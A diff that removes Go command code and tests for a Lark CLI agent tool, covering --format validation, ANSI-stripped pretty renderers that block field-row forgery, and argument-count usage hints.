-		t.Error("context get missing ctx-id should report an argument error (ExactArgs 2)")
-	}
-	if err := cmd.Args(cmd, []string{"example:x", "c1"}); err != nil {
-		t.Errorf("context get ref+ctx-id should be valid: %v", err)
-	}
-	for _, name := range []string{"format", "jq"} {
-		if cmd.Flags().Lookup(name) == nil {
-			t.Errorf("context get should have a --%s flag", name)
-		}
-	}
-}
-
-// TestNewCmdAgentContextDelete_HighRiskWrite pins delete = high-risk-write risk,
-// ExactArgs(2), a --yes flag, and the added --format / --jq flags.
-func TestNewCmdAgentContextDelete_HighRiskWrite(t *testing.T) {
-	cmd := NewCmdAgentContextDelete(nil)
-	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskHighRiskWrite {
-		t.Errorf("context delete should be marked high-risk-write risk, got level=%q ok=%v", level, ok)
-	}
-	if err := cmd.Args(cmd, []string{"example:x"}); err == nil {
-		t.Error("context delete missing ctx-id should report an argument error (ExactArgs 2)")
-	}
-	if cmd.Flags().Lookup("yes") == nil {
-		t.Error("context delete should have a --yes flag")
-	}
-	for _, name := range []string{"format", "jq"} {
-		if cmd.Flags().Lookup(name) == nil {
-			t.Errorf("context delete should have a --%s flag", name)
-		}
-	}
-}

cmd/agent/format.go

@@ -1,183 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-// This file holds the --format surface shared by every agent leaf: value
-// validation, the pretty renderers (task key:value view, list
-// header-TSV views) with ANSI stripping for agent-controlled text, and the
-// arg-count validators that wrap cobra's bare "accepts N arg(s)" into a typed
-// validation error carrying a 用法 hint.
-package agent
-
-import (
-	"fmt"
-	"io"
-	"strings"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/validate"
-)
-
-// formatFlagHelp is the uniform --format help text across every agent leaf
-// (json is the tree-wide default, pretty the human opt-in).
-const formatFlagHelp = "output format: json (default) | pretty"
-
-// validateFormat rejects any --format outside json|pretty as a
-// validation/invalid_argument error (exit 2). The empty string is accepted for
-// options structs built directly in tests; the registered flag default is
-// "json" so a CLI invocation never passes "".
-func validateFormat(format string) error {
-	switch format {
-	case "", "json", "pretty":
-		return nil
-	}
-	return errs.NewValidationError(errs.SubtypeInvalidArgument,
-		"不支持的 --format 值 %q", format).
-		WithParam("--format").
-		WithHint("合法值: json | pretty")
-}
-
-// stripANSI sanitizes agent-controlled text before it is written raw to a
-// terminal by a pretty renderer, preventing terminal escape-sequence injection.
-// It delegates to validate.SanitizeForTerminal, which is a superset of the
-// mandated CSI regex:
-// it also drops OSC sequences, bare ESC / C0 control bytes and dangerous
-// Unicode. JSON output paths must NOT use this — programmatic consumers get
-// the raw data.
-func stripANSI(s string) string {
-	return validate.SanitizeForTerminal(s)
-}
-
-// kvValue sanitizes an agent-controlled value for a single-line "key: value"
-// pretty row: ANSI-stripped, then \n/\t collapsed to single spaces —
-// SanitizeForTerminal deliberately preserves those, so without this a value
-// like "done\nstate: completed" would forge an adjacent field row. TSV
-// renderers keep plain stripANSI under their documented no-escape exemption.
-func kvValue(s string) string {
-	s = stripANSI(s)
-	s = strings.ReplaceAll(s, "\n", " ")
-	return strings.ReplaceAll(s, "\t", " ")
-}
-
-// truncateRunes caps s at max runes, appending an ellipsis when truncated.
-func truncateRunes(s string, max int) string {
-	r := []rune(s)
-	if len(r) <= max {
-		return s
-	}
-	return string(r[:max]) + "…"
-}
-
-// firstTextOf returns the first text Part carried by the task's messages
-// (the first text message), or "".
-func firstTextOf(task *iagent.AgentTask) string {
-	for _, m := range task.Messages {
-		for _, p := range m.Parts {
-			if p.Type == "text" && p.Text != "" {
-				return p.Text
-			}
-		}
-	}
-	return ""
-}
-
-// printTaskPretty renders the task-class pretty view: line-per-field
-// key: value with state / task_id / context_id / first text message truncated
-// to 120 runes / artifacts count. Every agent-controlled string goes through
-// kvValue (ANSI strip + newline/tab neutralization) so it can neither inject
-// terminal sequences nor forge an adjacent field row.
-func printTaskPretty(w io.Writer, task *iagent.AgentTask) {
-	if task == nil {
-		fmt.Fprintln(w, "(no task)")
-		return
-	}
-	fmt.Fprintf(w, "state: %s\n", task.State)
-	fmt.Fprintf(w, "task_id: %s\n", kvValue(task.TaskID))
-	if task.ContextID != "" {
-		fmt.Fprintf(w, "context_id: %s\n", kvValue(task.ContextID))
-	}
-	if text := firstTextOf(task); text != "" {
-		fmt.Fprintf(w, "text: %s\n", truncateRunes(kvValue(text), 120))
-	}
-	fmt.Fprintf(w, "artifacts: %d\n", len(task.Artifacts))
-}
-
-// TSV renderers below intentionally do not escape tab/newline in cell values:
-// a value containing them breaks the column layout. The agent's primary
-// consumption surface is json; pretty is for human inspection only, so leaving
-// them unescaped is acceptable.
-
-// printTaskSummariesTSV renders the list-class pretty view for tasks:
-// a header row naming the json fields, then one row per task.
-func printTaskSummariesTSV(w io.Writer, tasks []iagent.TaskSummary) {
-	fmt.Fprintf(w, "TASK_ID\tCONTEXT_ID\tSTATE\tIS_TERMINAL\n")
-	for _, t := range tasks {
-		fmt.Fprintf(w, "%s\t%s\t%s\t%t\n", stripANSI(t.TaskID), stripANSI(t.ContextID), t.State, t.IsTerminal)
-	}
-}
-
-// printContextsTSV renders the list-class pretty view for contexts. The
-// Title is agent-controlled and must be ANSI-stripped.
-func printContextsTSV(w io.Writer, contexts []iagent.ContextSummary) {
-	fmt.Fprintf(w, "CONTEXT_ID\tCREATED_AT\tTITLE\n")
-	for _, c := range contexts {
-		fmt.Fprintf(w, "%s\t%s\t%s\n", stripANSI(c.ContextID), c.CreatedAt, stripANSI(c.Title))
-	}
-}
-
-// printContextDetailPretty renders `context get --format pretty` as key: value
-// lines with the tasks count; the agent-controlled Title (and the id) go
-// through kvValue so they cannot forge adjacent field rows.
-func printContextDetailPretty(w io.Writer, detail *iagent.ContextDetail) {
-	if detail == nil {
-		fmt.Fprintln(w, "(no context)")
-		return
-	}
-	fmt.Fprintf(w, "context_id: %s\n", kvValue(detail.ContextID))
-	if detail.CreatedAt != "" {
-		fmt.Fprintf(w, "created_at: %s\n", detail.CreatedAt)
-	}
-	if detail.Title != "" {
-		fmt.Fprintf(w, "title: %s\n", kvValue(detail.Title))
-	}
-	fmt.Fprintf(w, "tasks: %d\n", len(detail.Tasks))
-}
-
-// usageHintOf builds the "用法: <command path> <positional shape>" hint from
-// the executing command's Use line, so the hint never drifts from the
-// registered Use string.
-func usageHintOf(cmd *cobra.Command) string {
-	if _, shape, ok := strings.Cut(cmd.Use, " "); ok {
-		return fmt.Sprintf("用法: %s %s", cmd.CommandPath(), shape)
-	}
-	return "用法: " + cmd.CommandPath()
-}
-
-// exactArgsWithUsage is cobra.ExactArgs wrapped into a typed validation error
-// (exit 2) whose hint carries the full usage string — cobra's bare English
-// "accepts 2 arg(s), received 1" never says WHAT is missing.
-func exactArgsWithUsage(n int) cobra.PositionalArgs {
-	return func(cmd *cobra.Command, args []string) error {
-		if len(args) != n {
-			return errs.NewValidationError(errs.SubtypeInvalidArgument,
-				"需要 %d 个位置参数，收到 %d 个", n, len(args)).
-				WithHint("%s", usageHintOf(cmd))
-		}
-		return nil
-	}
-}
-
-// maximumArgsWithUsage is the cobra.MaximumNArgs counterpart of
-// exactArgsWithUsage, for leaves with an optional positional (agent list).
-func maximumArgsWithUsage(n int) cobra.PositionalArgs {
-	return func(cmd *cobra.Command, args []string) error {
-		if len(args) > n {
-			return errs.NewValidationError(errs.SubtypeInvalidArgument,
-				"最多接受 %d 个位置参数，收到 %d 个", n, len(args)).
-				WithHint("%s", usageHintOf(cmd))
-		}
-		return nil
-	}
-}

cmd/agent/format_test.go

@@ -1,352 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"bytes"
-	"encoding/json"
-	"errors"
-	"strings"
-	"testing"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// TestValidateFormat_Valid pins that json/pretty (and the zero value, which
-// only occurs when options structs are built directly in tests) pass.
-func TestValidateFormat_Valid(t *testing.T) {
-	for _, f := range []string{"", "json", "pretty"} {
-		if err := validateFormat(f); err != nil {
-			t.Errorf("format %q should be valid: %v", f, err)
-		}
-	}
-}
-
-// TestValidateFormat_Invalid pins that a --format outside json|pretty is a
-// validation/invalid_argument error (exit 2) whose hint lists the legal values
-// and whose param names the flag with the -- prefix.
-func TestValidateFormat_Invalid(t *testing.T) {
-	err := validateFormat("yaml")
-	if err == nil {
-		t.Fatal("--format yaml should error (currently silently treated as json)")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("subtype should be invalid_argument, got %+v", p)
-	}
-	if output.ExitCodeOf(err) != output.ExitValidation {
-		t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
-	}
-	if !strings.Contains(p.Hint, "json | pretty") {
-		t.Errorf("hint should list the legal values json | pretty, got %q", p.Hint)
-	}
-	var verr *errs.ValidationError
-	if !errors.As(err, &verr) || verr.Param != "--format" {
-		t.Errorf("param should be --format, got %+v", verr)
-	}
-}
-
-// agentRootTree builds `lark-cli agent ...` as production wires it (root Use
-// lark-cli), with a nil Factory: format validation must fire at the RunE
-// entry, before any Factory access.
-func agentRootTree() *cobra.Command {
-	root := &cobra.Command{Use: "lark-cli", SilenceUsage: true, SilenceErrors: true}
-	root.AddCommand(NewCmdAgent(nil))
-	return root
-}
-
-// TestFormatYamlRejectedAcrossLeaves pins that EVERY leaf of the agent tree
-// consumes validateFormat: `--format yaml` is exit 2 with the json|pretty
-// hint, uniformly, before any provider/Factory is touched.
-func TestFormatYamlRejectedAcrossLeaves(t *testing.T) {
-	leaves := [][]string{
-		{"agent", "list", "--format", "yaml"},
-		{"agent", "card", "example:x", "--format", "yaml"},
-		{"agent", "send", "example:x", "--text", "hi", "--format", "yaml"},
-		{"agent", "task", "get", "example:x", "t1", "--format", "yaml"},
-		{"agent", "task", "list", "example:x", "--format", "yaml"},
-		{"agent", "task", "cancel", "example:x", "t1", "--format", "yaml"},
-		{"agent", "context", "list", "example:x", "--format", "yaml"},
-		{"agent", "context", "get", "example:x", "c1", "--format", "yaml"},
-		{"agent", "context", "delete", "example:x", "c1", "--yes", "--format", "yaml"},
-	}
-	for _, argv := range leaves {
-		t.Run(strings.Join(argv[:len(argv)-2], " "), func(t *testing.T) {
-			root := agentRootTree()
-			root.SetOut(&bytes.Buffer{})
-			root.SetErr(&bytes.Buffer{})
-			root.SetArgs(argv)
-			err := root.Execute()
-			if err == nil {
-				t.Fatalf("%v should report a --format validation error", argv)
-			}
-			if !errs.IsValidation(err) {
-				t.Fatalf("should be a validation error, got %T: %v", err, err)
-			}
-			if output.ExitCodeOf(err) != output.ExitValidation {
-				t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
-			}
-			p, ok := errs.ProblemOf(err)
-			if !ok || !strings.Contains(p.Hint, "json | pretty") {
-				t.Errorf("hint should contain json | pretty, got %+v", p)
-			}
-		})
-	}
-}
-
-// TestFormatHelpTextUniform pins the mandated uniform help text
-// "output format: json (default) | pretty" across every leaf that has --format.
-func TestFormatHelpTextUniform(t *testing.T) {
-	cmds := map[string]*cobra.Command{
-		"list":           NewCmdAgentList(nil),
-		"card":           NewCmdAgentCard(nil),
-		"send":           NewCmdAgentSend(nil, nil),
-		"task get":       NewCmdAgentTaskGet(nil),
-		"task list":      NewCmdAgentTaskList(nil),
-		"task cancel":    NewCmdAgentTaskCancel(nil),
-		"context list":   NewCmdAgentContextList(nil),
-		"context get":    NewCmdAgentContextGet(nil),
-		"context delete": NewCmdAgentContextDelete(nil),
-	}
-	for name, cmd := range cmds {
-		fl := cmd.Flags().Lookup("format")
-		if fl == nil {
-			t.Errorf("%s should have a --format flag", name)
-			continue
-		}
-		if fl.DefValue != "json" {
-			t.Errorf("%s --format default should be json, got %q", name, fl.DefValue)
-		}
-		if fl.Usage != "output format: json (default) | pretty" {
-			t.Errorf("%s --format help should be uniform, got %q", name, fl.Usage)
-		}
-	}
-}
-
-// TestStripANSI pins that CSI sequences, OSC sequences and bare ESC bytes are
-// all removed before agent text reaches a terminal.
-func TestStripANSI(t *testing.T) {
-	for _, tt := range []struct{ in, want string }{
-		{"before\x1b[31mred\x1b[0mafter", "beforeredafter"},
-		{"a\x1bb", "ab"}, // bare ESC
-		{"t\x1b]0;evil\x07x", "tx"},
-		{"clean 文本", "clean 文本"},
-	} {
-		if got := stripANSI(tt.in); got != tt.want {
-			t.Errorf("stripANSI(%q) = %q, want %q", tt.in, got, tt.want)
-		}
-	}
-}
-
-// TestPrintTaskPretty pins the task-class pretty spec: line-per-field
-// key: value with state / task_id / context_id / first text message truncated
-// to 120 runes / artifacts count — and the agent-controlled text stripped of
-// ANSI escapes.
-func TestPrintTaskPretty(t *testing.T) {
-	long := strings.Repeat("字", 130)
-	task := &iagent.AgentTask{
-		TaskID:    "chat_1",
-		ContextID: "sess_1",
-		State:     iagent.StateCompleted,
-		Messages: []iagent.Message{{
-			Role:  "agent",
-			Parts: []iagent.Part{{Type: "text", Text: "\x1b[31m" + long + "\x1b[0m"}},
-		}},
-		Artifacts: []iagent.Artifact{{ID: "a1"}, {ID: "a2"}},
-	}
-	out := &bytes.Buffer{}
-	printTaskPretty(out, task)
-	text := out.String()
-
-	for _, want := range []string{"state: completed", "task_id: chat_1", "context_id: sess_1", "artifacts: 2"} {
-		if !strings.Contains(text, want) {
-			t.Errorf("pretty output should contain %q, got:\n%s", want, text)
-		}
-	}
-	if strings.Contains(text, "\x1b") {
-		t.Errorf("ANSI sequences in agent body text must be stripped: %q", text)
-	}
-	if strings.Contains(text, long) {
-		t.Errorf("body should be truncated to 120 chars, the full 130-char body should not appear")
-	}
-	if !strings.Contains(text, strings.Repeat("字", 120)) {
-		t.Errorf("body should keep the first 120 chars, got:\n%s", text)
-	}
-	var env output.Envelope
-	if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
-		t.Errorf("pretty should not be a JSON envelope: %s", text)
-	}
-}
-
-// TestPrintTaskPretty_NewlineForgeryNeutralized pins the key:value forgery
-// fix: agent text containing newlines must not be able to fake an adjacent
-// field row ("done\nstate: completed") — \n/\t in single-line values collapse
-// to spaces, so exactly one state: line exists.
-func TestPrintTaskPretty_NewlineForgeryNeutralized(t *testing.T) {
-	task := &iagent.AgentTask{
-		TaskID: "chat_1",
-		State:  iagent.StateFailed,
-		Messages: []iagent.Message{{
-			Role:  "agent",
-			Parts: []iagent.Part{{Type: "text", Text: "done\nstate: completed\tok"}},
-		}},
-	}
-	out := &bytes.Buffer{}
-	printTaskPretty(out, task)
-
-	var stateLines int
-	for _, line := range strings.Split(out.String(), "\n") {
-		if strings.HasPrefix(line, "state: ") {
-			stateLines++
-		}
-	}
-	if stateLines != 1 {
-		t.Fatalf("body newlines must not forge an adjacent field row; there should be exactly 1 state: line, got %d:\n%s", stateLines, out.String())
-	}
-	if !strings.Contains(out.String(), "state: failed") {
-		t.Errorf("the real state line should remain, got:\n%s", out.String())
-	}
-	if !strings.Contains(out.String(), "text: done state: completed ok") {
-		t.Errorf("\\n/\\t in the body should be replaced by spaces, got:\n%s", out.String())
-	}
-}
-
-// TestPrintContextDetailPretty_NewlineForgeryNeutralized pins the same fix on
-// the context title row.
-func TestPrintContextDetailPretty_NewlineForgeryNeutralized(t *testing.T) {
-	out := &bytes.Buffer{}
-	printContextDetailPretty(out, &iagent.ContextDetail{
-		ContextID: "sess_1",
-		Title:     "标题\ncontext_id: forged",
-	})
-	var idLines int
-	for _, line := range strings.Split(out.String(), "\n") {
-		if strings.HasPrefix(line, "context_id: ") {
-			idLines++
-		}
-	}
-	if idLines != 1 {
-		t.Fatalf("title newlines must not forge a context_id row; there should be exactly 1 line, got %d:\n%s", idLines, out.String())
-	}
-}
-
-// TestPrintTaskPretty_NilTask pins the nil degradation (no panic).
-func TestPrintTaskPretty_NilTask(t *testing.T) {
-	out := &bytes.Buffer{}
-	printTaskPretty(out, nil)
-	if out.Len() == 0 {
-		t.Error("nil task should print a placeholder line")
-	}
-}
-
-// TestPrintTaskSummariesTSV pins the list-class pretty spec: a header row
-// naming the json fields, then one tab-separated row per task.
-func TestPrintTaskSummariesTSV(t *testing.T) {
-	out := &bytes.Buffer{}
-	printTaskSummariesTSV(out, []iagent.TaskSummary{
-		{TaskID: "chat_1", ContextID: "sess_1", State: iagent.StateCompleted, IsTerminal: true},
-	})
-	lines := strings.Split(strings.TrimSpace(out.String()), "\n")
-	if len(lines) != 2 {
-		t.Fatalf("should have a header + 1 data row, got %q", out.String())
-	}
-	if lines[0] != "TASK_ID\tCONTEXT_ID\tSTATE\tIS_TERMINAL" {
-		t.Errorf("header columns should match the json field names, got %q", lines[0])
-	}
-	if lines[1] != "chat_1\tsess_1\tcompleted\ttrue" {
-		t.Errorf("data row mismatch, got %q", lines[1])
-	}
-}
-
-// TestPrintContextsTSV pins the context-list pretty spec: header row plus
-// rows, with the agent-controlled Title stripped of ANSI escapes (Task 10
-// review fix).
-func TestPrintContextsTSV(t *testing.T) {
-	out := &bytes.Buffer{}
-	printContextsTSV(out, []iagent.ContextSummary{
-		{ContextID: "sess_1", CreatedAt: "2026-07-05T10:00:00+08:00", Title: "\x1b[2J销售分析"},
-	})
-	text := out.String()
-	if !strings.HasPrefix(text, "CONTEXT_ID\tCREATED_AT\tTITLE\n") {
-		t.Errorf("should have a header row, got %q", text)
-	}
-	if !strings.Contains(text, "销售分析") {
-		t.Errorf("should contain the title text, got %q", text)
-	}
-	if strings.Contains(text, "\x1b") {
-		t.Errorf("ANSI sequences in Title must be stripped: %q", text)
-	}
-}
-
-// TestPrintContextDetailPretty pins the context-get pretty rendering:
-// key: value lines with the tasks count, title ANSI-stripped.
-func TestPrintContextDetailPretty(t *testing.T) {
-	out := &bytes.Buffer{}
-	printContextDetailPretty(out, &iagent.ContextDetail{
-		ContextID: "sess_1",
-		CreatedAt: "2026-07-05T10:00:00+08:00",
-		Title:     "\x1b[31m分析\x1b[0m",
-		Tasks:     []iagent.TaskSummary{{TaskID: "chat_1"}},
-	})
-	text := out.String()
-	for _, want := range []string{"context_id: sess_1", "title: 分析", "tasks: 1"} {
-		if !strings.Contains(text, want) {
-			t.Errorf("pretty output should contain %q, got:\n%s", want, text)
-		}
-	}
-	if strings.Contains(text, "\x1b") {
-		t.Errorf("ANSI sequences in title must be stripped: %q", text)
-	}
-}
-
-// TestExactArgsUsageHint pins that an arg-count error carries a usage hint
-// built from the real command path + Use shape, so the caller learns what is
-// missing instead of cobra's bare "accepts 2 arg(s)".
-func TestExactArgsUsageHint(t *testing.T) {
-	root := agentRootTree()
-	root.SetOut(&bytes.Buffer{})
-	root.SetErr(&bytes.Buffer{})
-	root.SetArgs([]string{"agent", "task", "get", "example:x"}) // missing task-id
-	err := root.Execute()
-	if err == nil {
-		t.Fatal("task get with a single argument should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("an arg-count error should be a validation type, got %T: %v", err, err)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || !strings.Contains(p.Hint, "用法: lark-cli agent task get <agent_ref> <task-id>") {
-		t.Fatalf("hint should contain the usage string, got %+v", p)
-	}
-	if output.ExitCodeOf(err) != output.ExitValidation {
-		t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
-	}
-}
-
-// TestMaximumArgsUsageHint pins the same treatment for the MaximumNArgs leaf
-// (`agent list [scheme]`).
-func TestMaximumArgsUsageHint(t *testing.T) {
-	root := agentRootTree()
-	root.SetOut(&bytes.Buffer{})
-	root.SetErr(&bytes.Buffer{})
-	root.SetArgs([]string{"agent", "list", "example", "extra"})
-	err := root.Execute()
-	if err == nil {
-		t.Fatal("list with more than 1 positional argument should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("an arg-count error should be a validation type, got %T: %v", err, err)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || !strings.Contains(p.Hint, "用法: lark-cli agent list [scheme]") {
-		t.Fatalf("hint should contain the usage string, got %+v", p)
-	}
-}

cmd/agent/list.go

@@ -1,199 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"fmt"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// providerInfo describes a registered provider adapter in `agent list` output.
-// Every field is sourced from the registered iagent.ProviderInfo (the single
-// source of truth).
-type providerInfo struct {
-	Scheme         string `json:"scheme"`
-	Label          string `json:"label"`
-	AgentRefFormat string `json:"agent_ref_format"`
-	Kind           string `json:"kind"`
-	AgentIDSource  string `json:"agent_id_source"`
-}
-
-// listOptions holds all inputs for `agent list [scheme]`.
-type listOptions struct {
-	Factory *cmdutil.Factory
-	Cmd     *cobra.Command
-	Scheme  string
-	Format  string
-}
-
-// NewCmdAgentList builds `agent list [scheme]`. Without an argument it
-// enumerates the registered provider adapters with their metadata — a
-// pure, API-free listing. With a scheme it performs second-level discovery:
-// providers implementing Discoverer enumerate their agents;
-// others return unsupported_capability with the agent_id_source
-// guidance. Risk=read.
-func NewCmdAgentList(f *cmdutil.Factory) *cobra.Command {
-	opts := &listOptions{Factory: f}
-	cmd := &cobra.Command{
-		Use:   "list [scheme]",
-		Short: "List registered agent providers, or enumerate the agents under one provider",
-		Long:  "With no argument, list the built-in provider adapters and their metadata (label / agent_ref format / kind / how to obtain an agent_id) without calling any API. With a scheme, enumerate the agents under that provider (catalog providers must be enumerable; instance providers may not support it).",
-		Args:  maximumArgsWithUsage(1),
-		RunE: func(cmd *cobra.Command, args []string) error {
-			if err := validateFormat(opts.Format); err != nil {
-				return err
-			}
-			opts.Cmd = cmd
-			if len(args) == 1 {
-				opts.Scheme = args[0]
-			}
-			return agentListRun(opts)
-		},
-	}
-	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
-	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
-	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
-	return cmd
-}
-
-// agentListRun dispatches `agent list [scheme]`: with a scheme it lists that
-// provider's agents (second-level discovery); without it renders the provider
-// listing. JSON envelope is the default; `pretty` is the opt-in human view.
-func agentListRun(opts *listOptions) error {
-	if opts.Scheme != "" {
-		return agentListSchemeRun(opts)
-	}
-
-	f := opts.Factory
-	providers := listProviders()
-
-	// pretty is a human view only; a --jq expression implies structured JSON.
-	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
-		fmt.Fprintf(f.IOStreams.Out, "SCHEME\tLABEL\tAGENT_REF_FORMAT\tKIND\n")
-		for _, p := range providers {
-			fmt.Fprintf(f.IOStreams.Out, "%s\t%s\t%s\t%s\n", p.Scheme, p.Label, p.AgentRefFormat, p.Kind)
-		}
-		// agent_id_source is a full sentence — a TSV column would blow out the
-		// row width, so surface it as a per-provider footer instead. This is the
-		// single most important "where do I get an agent_id" cue for newcomers
-		// and must not vanish in the human-readable view.
-		fmt.Fprintln(f.IOStreams.Out)
-		for _, p := range providers {
-			fmt.Fprintf(f.IOStreams.Out, "agent_id 获取（%s）: %s\n", p.Scheme, p.AgentIDSource)
-		}
-		return nil
-	}
-
-	env := output.Envelope{
-		OK:     true,
-		Data:   map[string]interface{}{"providers": providers},
-		Notice: output.GetNotice(),
-	}
-	if jq := jqExpr(opts.Cmd); jq != "" {
-		return output.JqFilter(f.IOStreams.Out, env, jq)
-	}
-	output.PrintJson(f.IOStreams.Out, env)
-	return nil
-}
-
-// agentListSchemeRun runs `agent list <scheme>`: second-level discovery for one
-// provider. The Discoverer probe runs BEFORE any client construction so a
-// provider without discovery support returns its precise
-// unsupported_capability error even in an unconfigured environment — aligned
-// with the validation-before-config-gate principle. Only a provider that
-// does implement Discoverer needs a configured client for the real ListAgents
-// call.
-func agentListSchemeRun(opts *listOptions) error {
-	f := opts.Factory
-	info, ok := iagent.Info(opts.Scheme)
-	if !ok {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument,
-			"未知的 agent provider '%s'，当前支持: %s",
-			opts.Scheme, iagent.KnownSchemes()).
-			WithHint("用 lark-cli agent list 查看可用 provider")
-	}
-	if !probeDiscoverer(info) {
-		return errs.NewValidationError(errs.SubtypeUnsupportedCapability,
-			"provider '%s' 暂不支持列举 agent", opts.Scheme).
-			WithHint("%s", info.AgentIDSource)
-	}
-
-	// The real ListAgents call carries the resolved identity, aligned with
-	// resolveProvider (common.go) — a provider must never see a zero As on an
-	// API-bound instance.
-	id := f.ResolveAs(opts.Cmd.Context(), opts.Cmd, "")
-	apiClient, err := f.NewAPIClient()
-	if err != nil {
-		return err
-	}
-	p, err := info.Factory(iagent.Deps{Client: apiClient, As: id}, "")
-	if err != nil {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument, "%s", err.Error()).WithCause(err)
-	}
-	agents, err := p.ListAgents(opts.Cmd.Context())
-	if err != nil {
-		return err
-	}
-
-	// pretty is a human view only; a --jq expression implies structured JSON.
-	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
-		// Name/Description are agent-controlled remote strings — ANSI-strip
-		// them before writing to the terminal.
-		fmt.Fprintf(f.IOStreams.Out, "AGENT_REF\tNAME\tDESCRIPTION\n")
-		for _, a := range agents {
-			fmt.Fprintf(f.IOStreams.Out, "%s\t%s\t%s\n", stripANSI(a.AgentRef), stripANSI(a.Name), stripANSI(a.Description))
-		}
-		return nil
-	}
-
-	env := output.Envelope{
-		OK:     true,
-		Data:   map[string]interface{}{"agents": agents},
-		Meta:   &output.Meta{Count: len(agents)},
-		Notice: output.GetNotice(),
-	}
-	if jq := jqExpr(opts.Cmd); jq != "" {
-		return output.JqFilter(f.IOStreams.Out, env, jq)
-	}
-	output.PrintJson(f.IOStreams.Out, env)
-	return nil
-}
-
-// probeDiscoverer reports whether the provider built by info can enumerate its
-// agents (wires ListAgents). The probe instance is constructed with empty Deps
-// and an empty agentID — no client is needed to read a field, which keeps the
-// probe usable before config init. A factory error means the capability cannot
-// be confirmed, so it degrades to not discoverable.
-func probeDiscoverer(info iagent.ProviderInfo) bool {
-	p, err := info.Factory(iagent.Deps{}, "")
-	if err != nil || p == nil {
-		return false
-	}
-	return p.ListAgents != nil
-}
-
-// listProviders builds the provider descriptors from the built-in registry so
-// the listing stays in sync with whatever adapters are registered.
-func listProviders() []providerInfo {
-	schemes := iagent.RegisteredSchemes()
-	out := make([]providerInfo, 0, len(schemes))
-	for _, s := range schemes {
-		// s comes from RegisteredSchemes, so Info always succeeds.
-		info, _ := iagent.Info(s)
-		out = append(out, providerInfo{
-			Scheme:         s,
-			Label:          info.Label,
-			AgentRefFormat: info.AgentRefFormat,
-			Kind:           string(info.Kind),
-			AgentIDSource:  info.AgentIDSource,
-		})
-	}
-	return out
-}

cmd/agent/list_test.go

@@ -1,428 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"bytes"
-	"context"
-	"encoding/json"
-	"strings"
-	"testing"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// listFactory returns a Factory writing to a fresh stdout buffer plus a
-// listOptions bound to it, ready to drive agentListRun without any API.
-func listFactory() (*listOptions, *bytes.Buffer) {
-	out := &bytes.Buffer{}
-	errOut := &bytes.Buffer{}
-	f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
-	return &listOptions{Factory: f, Format: "json"}, out
-}
-
-// decodeProviders unmarshals the envelope on out and returns data.providers.
-func decodeProviders(t *testing.T, out *bytes.Buffer) []interface{} {
-	t.Helper()
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, out.String())
-	}
-	data, _ := env.Data.(map[string]interface{})
-	providers, _ := data["providers"].([]interface{})
-	return providers
-}
-
-// findProvider returns the provider entry whose scheme matches, or nil.
-func findProvider(providers []interface{}, scheme string) map[string]interface{} {
-	for _, pv := range providers {
-		p, _ := pv.(map[string]interface{})
-		if p["scheme"] == scheme {
-			return p
-		}
-	}
-	return nil
-}
-
-// TestAgentListRun_ProviderFieldsV2 pins the provider entry contract: the
-// example entry carries all fields sourced from iagent.Info (the single source
-// of truth), the legacy free-text description field is gone, and discoverable
-// is no longer exposed.
-func TestAgentListRun_ProviderFieldsV2(t *testing.T) {
-	opts, out := listFactory()
-	if err := agentListRun(opts); err != nil {
-		t.Fatalf("list should not error: %v", err)
-	}
-	info, ok := iagent.Info("example")
-	if !ok {
-		t.Fatal("the example provider should already be registered (blank import in agent.go)")
-	}
-	p := findProvider(decodeProviders(t, out), "example")
-	if p == nil {
-		t.Fatalf("list should include the example provider: %s", out.String())
-	}
-	if p["label"] != info.Label {
-		t.Errorf("label should come from ProviderInfo.Label %q, got %v", info.Label, p["label"])
-	}
-	if p["agent_ref_format"] != info.AgentRefFormat {
-		t.Errorf("agent_ref_format should come from ProviderInfo.AgentRefFormat %q, got %v", info.AgentRefFormat, p["agent_ref_format"])
-	}
